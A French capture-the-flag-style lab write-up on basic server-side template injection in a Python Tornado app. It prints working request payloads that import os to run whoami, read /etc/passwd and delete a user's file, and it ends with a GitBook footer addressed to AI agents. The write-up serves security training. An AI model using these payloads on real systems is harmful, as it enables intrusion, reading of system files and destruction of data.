> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssti/basic-ssti-in-a-python-code-context.md).

# SSTI de base dans un contexte de code Python

### Injection de template côté serveur basique (contexte du code)

Ce laboratoire présente une vulnérabilité **Injection de modèle côté serveur (SSTI)** en raison de l’utilisation non sécurisée d’un **template Tornado**. / L'objectif est d'exécuter du code arbitraire via le moteur de templates, puis de supprimer le `morale.txt` fichier situé dans le répertoire personnel de Carlos.

Un compte de test est fourni : **wiener:peter**.

#### **Analyse de l'application**

Dans la section qui définit comment l’utilisateur souhaite être affiché lors d’un commentaire, il est possible de modifier le paramètre transmis :

<figure><img src="/files/e9475d3847830b19367d443a428c80bc2854ce58" alt="" width="563"><figcaption></figcaption></figure>

L’erreur renvoyée par le serveur confirme la présence d’un **Python/Tornado** moteur, ce qui suggère une injection de template.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="/files/bcce0ed5509ac795e4fa649e4ee5ece31cef7382" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="/files/05cc060035b9b3da1e5c8497c747febb4d1f1c58" alt=""><figcaption></figcaption></figure>

#### **Tests d’injection basiques**

Pour vérifier si le template est interprété :

```python
{{7*7}}
}}{{7*7
```

Le rendu confirme l’injection : le calcul est effectué par le moteur de templates.

<figure><img src="/files/08c3d71cd121c14002aa178be05bd80175c8aff0" alt=""><figcaption></figcaption></figure>

#### **Exécution de commandes**

Tornado permet l’import de modules directement dans le template

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Lire le fichier `/etc/passwd`**

Injection adaptée au paramètre vulnérable

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="/files/4e3cba7910e00dbeeb9c42d91802536bf8294dd7" alt=""><figcaption></figcaption></figure>

#### **Fichier moral supprimé. Txt**

Commande finale pour valider le laboratoire :

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
